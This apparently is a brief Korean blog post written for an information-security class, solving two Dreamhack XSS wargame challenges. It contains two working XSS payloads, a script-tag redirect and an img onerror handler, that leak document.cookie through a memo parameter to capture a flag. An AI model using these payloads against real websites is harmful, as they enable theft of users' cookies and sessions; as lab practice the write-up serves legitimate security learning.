Hacking
정보보안 수업 과제용2
kangjiw0n1209
2025. 4. 10. 09:10
드림핵 XSS-1
사용자가 url을 서버에 제출하면 셀레니움으로 구현된 봇이 해당 url에 접속한다.
이 때 cookie값에 FLAG가 들어있으므로 XSS로 다음과 같이 memo 파라미터로 cookie값을 넘겨주게되면 FLAG를 얻을 수 있다.
<script>
document.location.href = `/memo?memo=${document.cookie}`;
</script>
드림핵 XSS-2
innerHTML로 들어간 script 태그는 실행되지 않기 때문에 img 태그로 했다.
<img src="#" onerror="location.href='/memo?memo='+document.cookie">